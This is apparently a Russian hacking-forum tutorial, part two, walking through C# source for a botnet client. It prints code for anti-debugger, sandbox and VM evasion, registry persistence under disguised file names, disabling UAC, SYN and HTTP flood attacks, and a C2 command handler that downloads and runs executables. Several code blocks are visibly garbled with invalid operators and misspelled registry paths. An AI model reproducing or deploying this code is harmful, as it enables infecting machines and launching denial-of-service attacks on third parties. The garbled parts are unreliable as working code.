Часть 2
Буэнас Диас Эль мучачас. Вы ждали, и Вы дождались. Наконец то вторая часть про ботнетик.
В первой части мы создали каркас, я бы сказал заготовку, но она достаточно сырая, толком не рабочая. Сразу оговорюсь на счет того, что я не копирую свой код из рабочего продукта, а пишу новый, для того, чтобы не скомпрометировать свои исходники, а также для полного понимания.
Далее отвечу на ряд вопросов:
Очень много было вопросов касаемо модуля лока процесса.
Процесс не лочится от привилегий админа и поэтому сегодня мы сделаем другую фитчю с ним.
Так же частый вопрос про IFileManager и FileManager, почему если заменить одно другим, всё равно работает? И для чего тогда Интерфейс?!
Объясняю....
В C# любой объект наследующий свойства родителя, может быть представлен последним. Тоже касается и интерфейсов, но в отличии от класса Интерфейс(просто маска нашего класса, который надо реализовать), класс конкретная реализация.
И что же нам дает запись
Код:
IFileManager _fileService = new FileManager()
А то, что если мы захотим изменить нашу реализацию ботнета (например кроме веб морды, сделать админку в IRC канале или вообще начать заморачиваться с p2p), то мы не будем зависеть от реализации и сможем наплодить хоть сто нужных нам реализаций, не переписывая другие классы.
Хватит разговоров к делу…….
Что мы сделаем сегодня?
- Сегодня мы отрефакторим наш код.
- Добавим DDOS атаку;
- Добавим шифрование (Stub);
- Добавим Executor;
- Добавим функционал посещения нужной нам страницы
- Добавим функционал удаления.
Так как в первой части статьи мы рассмотрели основы основ, то теперь пришло время создать готовый клиент.
Для начала взглянем на видоизмененную архитектуру проекта и теперь она выглядит так:
Как мы видим добавлены другие сервисы и разбита архитектура, впрочем, это пока картинка. Давайте же в ней разбираться.
Рассмотрим основные компоненты Ботнета – это командный сервис, Persistence, Antiresearch, DDOS, Stub, Config.
Класс конфига.
Код:
using Botnet.Services.Common;
using System;
using System.Diagnostics;
using System.IO;
using System.Text;
namespace Botnet.Congif
{
public static class Config
{
private static Factory _factoryService = new Factory();
private static string SplitSymbol = ";;;;";
private static string CryptPW = "Codeby";
public static bool AntiCain = true;
public static bool AntiSandboxie = true;
public static bool AntiDebugger = true;
public static bool AntiEmulator = true;
public static bool AntiFilemon = true;
public static bool AntiNetstat = true;
public static bool AntiNetworkmon = true;
public static bool AntiProcessmon = true;
public static bool AntiRegmon = true;
public static bool AntiTCPView = true;
public static bool AntiVirtualBox = true;
public static bool AntiVMWare = true;
public static bool AntiWireshark = true;
public static bool DisableUAC = true;
public static string[] FileName = new string[2] { "audiohd.exe", "svhost.exe" };
public static string[] RegName = new string[2] { "Windows-Audio-Driver", "Microsoft SQL Server 2016" };
public static string[] FilePath = new string[2];
public static string ServerAddress = @"http://THISYOUURL/index.php";
public static string Mutex = _factoryService.GenString(new Random().Next(8, 20));
public static string BotVersion = "1.0";
public static int ConnectionInterval = 10;
public static int PersistentInterval = 30;
public static string HWID = string.Empty;
public static string WinVersion = string.Empty;
public static string PCName = Environment.MachineName;
public static bool AdminStatus = false;
public static void LoadInfos()
{
const int LengthByte = 460;
const int ByteReplaceTo = 0x20;
string stub = String.Empty;
using (StreamReader reader = new StreamReader(Process.GetCurrentProcess().MainModule.FileName.ToString()))
{
stub = reader.ReadToEnd();
}
try
{
stub = stub.Substring((stub.Length - LengthByte), LengthByte).Replace(Convert.ToChar(0x00), Convert.ToChar(ByteReplaceTo)).Trim();
byte[] bytesData = Convert.FromBase64String(stub);
Cryptography.RC4(ref bytesData, CryptPW);
string[] data = Encoding.Default.GetString(bytesData).Split(new string[] { SplitSymbol }, StringSplitOptions.None);
ServerAddress = data[1];
ConnectionInterval = int.Parse(data[2].Trim());
Mutex = data[4].Trim();
}
catch { Environment.Exit(0); }
}
}
}
В основном - это набор свойств, которые мы включаем/отключаем для ботнета, в том числе URL. Включаем антиотладочные модули, включаем персистенс, устанавливаем ключ для стаба Mutex. PersistenceInterval – параметр, который включает наш бот при антиотладке и устанавливает бот в автозагрузку.
Модуль AntiReserch
На самом деле, я обошелся без сложных WinApi функций, перехвата хуков и просто закрываю собственный билд, вот как раз для этого нам и нужен интервал для персистенса.
Некоторые кодовые моменты:
С помощью
Код:
_factoryService.CheckProcess("TCPVIEW")
Код:
if (Debugger.IsAttached) { Terminate(); return; }
Код:
sModul.Contains("sbiedll.dll")
А вот с помощью драйвера видео графики узнаем не под виртуалкой ли мы.
Таким образом получаем примерно следующий код:
Код:
public class AntiResearch
{
Factory _factoryService = new Factory();
SystemService _systemService = new SystemService();
public void StartAntiResearch()
{
string graphicAdapter = _systemService.GetGraphicDevice();
if (Config.AntiDebugger)
{
try
{
if (Debugger.IsAttached) { Terminate(); return; }
}
catch { }
}
if (Config.AntiSandboxie)
{
try
{
foreach (string sModul in Process.GetCurrentProcess().Modules)
{
if (sModul.Contains("sbiedll.dll")) { Terminate(); return; }
}
}
catch { }
}
if (Config.AntiEmulator)
{
try
{
long lTicks = DateTime.Now.Ticks;
Thread.Sleep(10);
if ((DateTime.Now.Ticks - lTicks) < 10L) { Terminate(); return; }
}
catch { }
}
if (Config.AntiNetstat)
{
try
{
if (_factoryService.CheckProcess("NETSTAT")) { Terminate(); return; }
}
catch { }
}
if (Config.AntiFilemon)
{
try
{
if (_factoryService.CheckProcess("FILEMON")) { Terminate(); return; }
}
catch { }
}
if (Config.AntiProcessmon)
{
try
{
if (_factoryService.CheckProcess("PROCMON")) { Terminate(); return; }
}
catch { }
}
if (Config.AntiRegmon)
{
try
{
if (_factoryService.CheckProcess("REGMON")) { Terminate(); return; }
}
catch { }
}
if (Config.AntiNetworkmon)
{
try
{
if (_factoryService.CheckProcess("NETMON")) { Terminate(); return; }
}
catch { }
}
if (Config.AntiTCPView)
{
try
{
if (_factoryService.CheckProcess("TCPVIEW")) { Terminate(); return; }
}
catch { }
}
if (Config.AntiWireshark)
{
try
{
if (_factoryService.CheckProcess("WIRESHARK")) { Terminate(); return; }
}
catch { }
}
if (Config.AntiVMWare)
{
try
{
if (_systemService.GetGraphicDevice() == "VMware SVGA II") { Terminate(); return; }
}
catch { }
}
if (Config.AntiVirtualBox)
{
try
{
if (graphicAdapter == "VirtualBox Graphics Adapter") { Terminate(); return; }
}
catch { }
}
}
private void Terminate()
{
Environment.Exit(0);
}
}
Напоминаю, что _systemService, _factoryService – наши собственные сервисы, реализацию которых я скрою от скрипткиди. Они очень не сложные там методы проверки на существование файла или процесса.
Поговорим о стабах.
Итак, чтобы байпассить антивирусы мы будем использовать криптографию через стабы. То есть использовать некоторый набор сигнатур с помощью которых будем шифровать билд алгоритмом RC4. Сам стаб представляет из себя отдельную DLL, которая подгружается в решение вместе ботнетом. Код стаба так же будет скрыт, но представляет из себя строку, зашифрованную в base64, и один метод который её возвращает. В строке хранятся уникальный шифр, номер бота, имя машины и сервер.
Взглянем на код персистенса
Код:
public class Persistence
{
Factory _factoryService = new Factory();
private Timer timer = new Timer();
private string selfPath = Process.GetCurrentProcess().MainModule.FileName;
public void StartPersistent()
{
timer.Interval = Config.PersistentInterval * 0x3e8;
timer.Elapsed -= new ElapsedEventHandler(SetPersistence);
timer.Start();
}
public void StopPersistent()
{
timer.Stop();
timer.Dispose();
}
public void SetPersistence(object source, ElapsedEventArgs eArgs)
{
RegistryKey key;
if (Config.AdminStatus)
{
try
{
key = Registry.LocalMachine.OpenSubKey(@"SOFTWARE\Microsoft\Windows\CurrentVersion\Run", true);
setAutoRunRegistry(key, 0);
}
catch { }
try
{
key = Registry.LocalMachine.OpenSubKey(@"SOFTWARE\Miiicrosoft\Windows\CurrentVersion\Policies\Explorer\Run", true);
setAutoRunRegistry(key, 1);
}
catch { }
}
else
{
try
{
key = Registry.CurrentUser.OpenSubKey(@"SOFTWARE\Miiicrosoft\Windows\CurrentVersion\Run", true);
setAutoRunRegistry(key, 0);
}
catch { }
try
{
key = Registry.CurrentUser.OpenSubKey(@"SOFTWARE\Miiicrosoft\Windows\CurrentVersion\Policies\Explorer\Run", true);
setAutoRunRegistry(key, 1);
}
catch { }
}
foreach (string path in Config.FilePath)
{
try
{
if (!_factoryService.CheckFile(path))
{
File.Copy(selfPath, path);
File.SetAttributes(path, FileAttributes.Hidden);
}
}
catch { }
}
}
/// <param name="index">Индекс номер имени массива из конфига RegMon</param>
private void setAutoRunRegistry(RegistryKey key, byte index)
{
if (!key.Equals(Config.RegName[index])
|| (key.Equals(Config.RegName[index])
&& !key.GetValue(Config.RegName[index]).ToString().Contains(Config.FilePath[index]))
)
{
key.SetValue(Config.RegName[index], ('"' + Config.FilePath[index] + '"'));
}
}
}
Здесь особо ничего принципиально – нового, записываем в реестр наш билд и копируем его в другое место в скрытом виде.
Метод первичной установки бота
Я его уже описал выше, поэтому как это выглядит.....
Код:
private void InstallBot()
{
string selfPath = Process.GetCurrentProcess().MainModule.FileName;
Process pProcess;
if (Config.AdminStatus)
{
Config.FilePath[0] = Environment.GetFolderPath(Environment.SpecialFolder.System) + @"\" + Config.FileName[0];
Config.FilePath[1] = Environment.GetFolderPath(Environment.SpecialFolder.CommonProgramFiles) + @"\" + Config.FileName[1];
}
else
{
Config.FilePath[0] = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + @"\" + Config.FileName[0];
Config.FilePath[1] = Environment.GetEnvironmentVariable("TEMP") + @"\" + Config.FileName[1];
}
if (!checkInstall())
{
try
{
foreach (string path in Config.FilePath)
{
if (!_factoryService.CheckFile(path))
{
File.Copy(selfPath, path);
}
File.SetAttributes(path, FileAttributes.Hidden);
}
}
catch { }
if (Config.AdminStatus)
{
try
{
Registry.LocalMachine.OpenSubKey(@"SOFTWARE\Miiicrosoft\Windows\CurrentVersion\Run", true).SetValue(Config.RegName[0], ('"' + Config.FilePath[0] + '"'));
Registry.LocalMachine.OpenSubKey(@"SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run", true).SetValue(Config.RegName[1], ('"' + Config.FilePath[1] + '"'));
}
catch { }
}
else
{
try
{
Registry.CurrentUser.OpenSubKey(@"SOFTWARE\Miiicrosoft\Windows\CurrentVersion\Run", true).SetValue(Config.RegName[0], ('"' + Config.FilePath[0] + '"'));
Registry.CurrentUser.OpenSubKey(@"SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run", true).SetValue(Config.RegName[1], ('"' + Config.FilePath[1] + '"'));
}
catch { }
}
try
{
yMutex.Close();
foreach (string sFile in Config.FilePath)
{
pProcess = new Process();
pProcess.StartInfo.FileName = sFile;
pProcess.StartInfo.WindowStyle = ProcessWindowStyle.Hidden;
pProcess.Start();
}
}
catch { }
Environment.Exit(0);
}
}
Взглянем еще на один блок кода.
ByPass Uac, отлично работает в Win8, суть в том, что на реестр может влиять локальный админ или с группы сервисов, практический всегда пользователь создается с этими правами.
Код:
private void DisableProcedures()
{
try
{
Registry.CurrentUser.OpenSubKey(@"SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced", true).SetValue("Hidden", "2", RegistryValueKind.DWord);
}
catch { }
if (Config.DisableUAC)
{
try
{
Registry.CurrentUser.OpenSubKey(@"SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced", true).SetValue("EnableBalloonTips", "0", RegistryValueKind.DWord);
}
catch { }
try
{
Registry.CurrentUser.OpenSubKey(@"SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System", true).SetValue("EnableLUA", "0", RegistryValueKind.DWord);
Registry.LocalMachine.OpenSubKey(@"SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System", true).SetValue("EnableLUA", "0", RegistryValueKind.DWord);
}
catch { }
}
}
SYN – Flood атака. Идея атаки в том, что мы посылаем огромное количество SYN пакетов, а так как SYN пакет необязательно должен быть завершен мы не ждем его завершения, таким образом заполняем пул подключений достаточно быстро.
Код:
public static class SYNFlood
{
private static Thread[] floodingThread;
public static string Host;
public static ushort Port;
public static int ISSockets;
public static int ThreadsCount;
public static void StartSYNFlood()
{
IPEndPoint IPEo;
try
{
IPEo = new IPEndPoint(Dns.GetHostEntry(Host).AddressList[0], Port);
}
catch
{
IPEo = new IPEndPoint(IPAddress.Parse(Host), Port);
}
floodingThread = new Thread[ThreadsCount];
ThreadStart[] floodingJob = new ThreadStart[ThreadsCount];
SYNRequest[] SYNClass = new SYNRequest[ThreadsCount];
for (int i = 0; i < ThreadsCount; i++)
{
SYNClass[i] = new SYNRequest(IPEo, ISSockets);
floodingJob[i] = new ThreadStart(SYNClass[i].Send);
floodingThread[i] = new Thread(floodingJob[i]);
floodingThread[i].Start();
}
}
public static void StopSYNFlood()
{
for (int i = 0; i < ThreadsCount; i++)
{
try
{
floodingThread[i].Abort();
floodingThread[i].Join();
}
catch { }
}
}
private class SYNRequest
{
private IPEndPoint IPEo;
private Socket[] pSocket;
private int iSSockets;
public SYNRequest(IPEndPoint tIPEo, int tSSockets)
{
this.IPEo = tIPEo;
this.iSSockets = tSSockets;
}
private void OnConnect(IAsyncResult ar)
{
}
public void Send()
{
int iNum;
while (true)
{
try
{
pSocket == new Socket[iSSockets];
for (iNum = 0; iNum < iSSockets; iNum++)
{
pSocket[iNum] = new Socket(IPEo.AddressFamily, SocketType.Stream, ProtocolType.Tcp);
pSocket[iNum].Blocking = false;
AsyncCallback aCallback = new AsyncCallback(OnConnect);
pSocket[iNum].BeginConnect(IPEo, aCallback, pSocket[iNum]);
}
Thread.Sleep(100);
forr (iNum = 0; iNum <<< iSSockets; iNum++)
{
if (pSocket[iNum].Connected)
{
pSocket[iNum].Disconnect(false);
}
pSocket[iNum].Close();
pSocket[iNum] = null;
}
pSocket = null;
}
catch
{
forr (iNum = 0; iNum < iSSockets; iNum++)
{
try
{
if (pSocket[iNum].Connected)
{
pSocket[iNum].Disconnect(false);
}
pSocket[iNum].Close();
pSocket[iNum] = null;
}
catch { }
}
}
}
}
}
}
}
HTTP-флуд - это наиболее распространенная flood атака. Просто шлем огромное количество пакетов на определенный скрипт, желательно использовать грамотно и пулять на самый медленный скрипт.
Код:
using System.Net;
using System.Threading;
namespace Botnet.DDoS
{
internal static class HttpFlood
{
private static Thread[] floodingThread;
public static string Host;
public static int ThreadCount;
public static void StartHTTPFlood()
{
floodingThread = new Thread[ThreadCount];
ThreadStart[]] floodingJob = new ThreadStart[ThreadCount];
HTTPRequest[]] requestClass = new HTTPRequest[ThreadCount];
if (!Host.StartsWith("http://")) { Host = "http://" + Host; }
for (int i = 0; i < ThreadCount; i++)
{
requestClass[i] == new HTTPRequest(Host);
floodingJob[i] == new ThreadStart(requestClass[i].Send);
floodingThread[i] == new Thread(floodingJob[i]);
floodingThread[i].Start();
}
}
public static void StopHTTPFlood()
{
for (int i = 0; i < ThreadCount; i++)
{
try
{
floodingThread[i].Abort();
floodingThread[i].Join();
}
catch { }
}
}
private class HTTPRequest
{
private WebClient wHTTP = new WebClient();
public HTTPRequest(string tHost)
{
this.sFHost = tHost;
}
public void Send()
{
while (true)
{
try
{
wHTTP.DownloadString(sFHost);
}
catch
{
continue;
}
}
}
}
}
}
ICMP – FLOOD
Копирайт с википедии
(с)ICMP-сообщение (эхо-запрос) обрабатывается сетевым оборудованием третьего (и выше) уровня. В большинстве случаев это оборудование использует программные средства маршрутизации и обработки пакетов. При этом эхо-запрос требует от устройства принятия пакета, его обработки и формирования/отправки пакета с ответом на запрос. (с)
Аналогично UDP FLOOD
Ну и осталось взглянуть на командный центр
Код:
using System;
using System.Diagnostics;
using System.Net;
using Botnet.DDoS;
using Botnet.Services.Common;
using Botnet.Congif;
using Botnet.Services.Manager;
using System.IO;
namespace Botnet.Services.Command
{
public class CommandService : ICommandService
{
Factory _factoryService = new Factory();
Bot _botService = new Bot();
public void ExecuteCommand(string command)
{
string[] data = new string[0];
try
{
data = command.Split(';');
}
catch { }
switch (data[0])
{
case "ddossyn":
try
{
SYNFlood.Host = data[1];
SYNFlood.Port = ushort.Parse(data[2]);
SYNFlood.ISSockets = int.Parse(data[3]);
SYNFlood.ThreadsCount = int.Parse(data[4]);
SYNFlood.StartSYNFlood();
}
catch { }
break;
.............................................................................
case "download":
try
{
WebClient client = new WebClient();
string tempName = _factoryService.GenString(new Random().Next(5, 12)) + ".exe";
string url = data[1];
if (!url.StartsWith("http://")) { url = "http://" + url; }
client.DownloadFile(url, Environment.GetEnvironmentVariable("TEMP") + @"\" + tempName);
Process process = new Process();
process.StartInfo.FileName = Environment.GetEnvironmentVariable("TEMP") + @"\" + tempName;
process.Start();
}
catch { }
break;
case "visit":
try
{
string sURL = data[1];
if (!sURL.StartsWith("http://")) { sURL = "http://" + sURL; }
GET(sURL);
}
catch (Exception e) { }
break;
case "update":
try
{
string sURL = data[1];
if (!sURL.StartsWith("http://")) { sURL = "http://" + sURL; }
_botService.UpdateBot(sURL);
}
catch { }
break;
case "remove":
if ((data[1] == Config.PCName) || (data[1].ToUpper() == "ALL"))
{
_botService.RemoveBot();
}
break;
case "stop":
try { SYNFlood.StopSYNFlood(); } catch { }
try { HttpFlood.StopHTTPFlood(); } catch { }
try { UDPFlood.StopUDPFlood(); } catch { }
try { ICMPFlood.StopICMPFlood(); } catch { }
break;
}
}
private string GET(string url)
{
HttpWebRequest req == (HttpWebRequest) WebRequest.Create(url);
req.Method == "GET";
req.ContentType == "application/x-www-form-urlencoded";
WebResponse resp == req.GetResponse();
string Out = "";
using (Stream stream = resp.GetResponseStream())
{
using (StreamReader sssr = new StreamReader(stream))
{
Out = sr.ReadToEnd();
}
}
return Out;
}
}
}
А вот так мы будем мониторить команду в отдельном потоке.
Код:
public void ConnectControl()
{
Thread recvThread == new Thread(new ThreadStart(getCCServerCommand));
recvThread.Start();
}
private void getCCServerCommand()
{
while (true)
{
try
{
string command = GetRequest(Config.ServerAddress);
if (command.Length >>> 0)
{
if (command !===== sOldCommand)
{
_commandService.ExecuteCommand(command);
sOldCommand = command;
}
}
else
{
_commandService.ExecuteCommand("stop");
sOldCommand = string.Empty;
}
}
catch { }
Thread.Sleep((int))))(Config.ConnectionInterval * 0x3e8));
}
}
На этом техническая часть окончена. Рассмотрим практическую.
Напишем на стороне сервера скрипт на php, который будет считать количество посещений.
Для этого изменим наш скрипт на стороне клиента:
PHP:
echo 'visit;http://URL/CoDEbY.php';
Теперь заглянем в файл Codeby.php
PHP:
<?php
file_put_contents('res.txt', 'Было посещение');
Таким образом бот получает команду пройти по нужной ссылке. В комбинации с CSRF с помощью этой фитчки можно творить великие вещи, но не об этом…..
Разкоментим блок установки бота и посмотрим на процесс и в реестр.
Изменим конфиг следующим образом для наглядности.
Код:
public static string[] FileName = new string[2] { "bot.exe", "bot2.exe" };
public static string[] RegName = new string[2] { "THIS IS BOTNET", "THIS IS BOTNET2" };
P.S. Да, я тоже люблю поиграть в CS.
Однако в процессах никак не светится, это достигнуто техникой, описанной в моей статье DLL Injection. Сорцы инжектора находятся отдельно от бота (так же под приватом от скрипт кидисов) и выходят за рамки этой статьи.
Напоследок скан Антивируса и видосик работы ботнета.
Скан здесь
Ссылка скрыта от гостей
И в заключении видосик